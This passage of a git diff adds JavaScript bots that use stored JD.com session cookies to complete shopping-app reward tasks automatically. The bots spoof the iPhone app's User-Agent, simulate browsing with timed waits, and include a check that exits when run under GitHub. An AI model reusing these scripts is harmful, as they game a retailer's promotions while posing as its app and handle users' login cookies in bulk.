'body=%7B%22url%22%3A%20%22https%3A//xinruimz-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=5c0ee2d33a0d480b81583331a507d7fe&client=apple&clientVersion=10.1.2&st=1633632251000&sv=102&sign=3f9d552890b9c04e8602081bec67a4c7', + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "JD4iPhone/167541 (iPhone; iOS 13.5; Scale/3.00)", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + } + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + data = JSON.parse(data); + if (data) { + $.token = data.token; + } else { + $.log('京东返回了空数据') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +// prettier-ignore +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_xmf.js b/jd_xmf.js new file mode 100644 index 0000000..82d9ce1 --- /dev/null +++ b/jd_xmf.js @@ -0,0 +1,215 @@ +/* +京东小魔方 +Last Modified time: 2022-1-21 +BY:搞鸡玩家 +活动入口:京东 首页新品 魔方 +更新地址:jd_xmf.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东小魔方 +20 4,19 * * * jd_xmf.js, tag=京东小魔方, img-url=, enabled=true + +================Loon============== +[Script] +cron "20 4,19 * * *" script-path=jd_xmf.js, tag=京东小魔方 + +===============Surge================= +京东小魔方 = type=cron,cronexp="20 4,19 * * *",wake-system=1,timeout=3600,script-path=jd_xmf.js + +============小火箭========= +京东小魔方 = type=cron,script-path=jd_xmf.js, cronexpr="20 4,19 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东小魔方'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +var timestamp = Math.round(new Date().getTime()).toString(); +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await getInteractionHomeInfo(); + await $.wait(500) + await queryInteractiveInfo($.projectId) + if ($.taskList) { + for (const vo of $.taskList) { + if (vo.ext.extraType !== 'brandMemberList' && vo.ext.extraType !== 'assistTaskDetail') { + if (vo.completionCnt < vo.assignmentTimesLimit) { + console.log(`任务:${vo.assignmentName},去完成`); + if (vo.ext) { + if (vo.ext.extraType === 'sign1') { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vo.ext.sign1.itemId) + } + for (let vi of vo.ext.productsInfo || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId) + } + } + for (let vi of vo.ext.shoppingActivity || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 0) + } + } + for (let vi of vo.ext.browseShop || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + for (let vi of vo.ext.addCart || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + } + } else { + console.log(`任务:${vo.assignmentName},已完成`); + } + } + } + } else { + $.log('没有获取到活动信息') + } +} +function doInteractiveAssignment(projectId, encryptAssignmentId, itemId, actionType) { + let body = { "encryptProjectId": projectId, "encryptAssignmentId": encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": itemId, "actionType": actionType, "completionFlag": "", "ext": {},"extParam":{"businessData":{"random":25500725},"signStr":timestamp+"~1hj9fq9","sceneid":"XMFhPageh5"} } + return new Promise(resolve => { + $.post(taskPostUrl("doInteractiveAssignment", body), async (err, resp, data) => { + //$.log(data) + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(data.msg); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryInteractiveInfo(projectId) { + let body = { "encryptProjectId": projectId, "sourceCode": "acexinpin0823", "ext": {} } + return new Promise(resolve => { + $.post(taskPostUrl("queryInteractiveInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + $.taskList = data.assignmentList + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getInteractionHomeInfo() { + let body = { "sign": "u6vtLQ7ztxgykLEr" } + return new Promise(resolve => { + $.get(taskPostUrl("getInteractionHomeInfo", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.result.giftConfig) { + $.projectId = data.result.taskConfig.projectId + } else { + console.log("获取projectId失败"); + } + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": UA, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html", + "Cookie": cookie, + } + } +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ylyn.js b/jd_ylyn.js new file mode 100644 index 0000000..91ac5a7 --- /dev/null +++ b/jd_ylyn.js @@ -0,0 +1,563 @@ +/* +伊利养牛记 + +如果提示没有养牛 自己手动进去养一只 +活动入口:伊利京东自营旗舰店->伊利牛奶 +21.0复制整段话 Http:/JnE0bflXQPzN4R 伊利云养一头牛,赢1分钱得牛奶一提!坚持打卡~每日多个好礼相送哟!快来云养的牛宝宝吧!#f1EQN5nQJa%去【椋〣崬】 + +[task_local] +#伊利养牛记 +cron 38 5,18 * * * jd_ylyn.js, tag=伊利养牛记, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('伊利养牛记'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = $.isNode() ? (process.env.Cowexchange ? process.env.Cowexchange : false) : ($.getdata("Cowexchange") ? $.getdata("Cowexchange") : false); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "7eaf779f13f64e2cbb2b1a55fd1de09f" // + !(async () => { + console.log(`入口:21.0复制整段话 Http:/JnE0bflXQPzN4R 伊利云养一头牛,赢1分钱得牛奶一提!坚持打卡~每日多个好礼相送哟!快来云养的牛宝宝吧!#f1EQN5nQJa%去【椋〣崬】\n`) + if (!cookiesArr[0]) { + $.msg($.name, 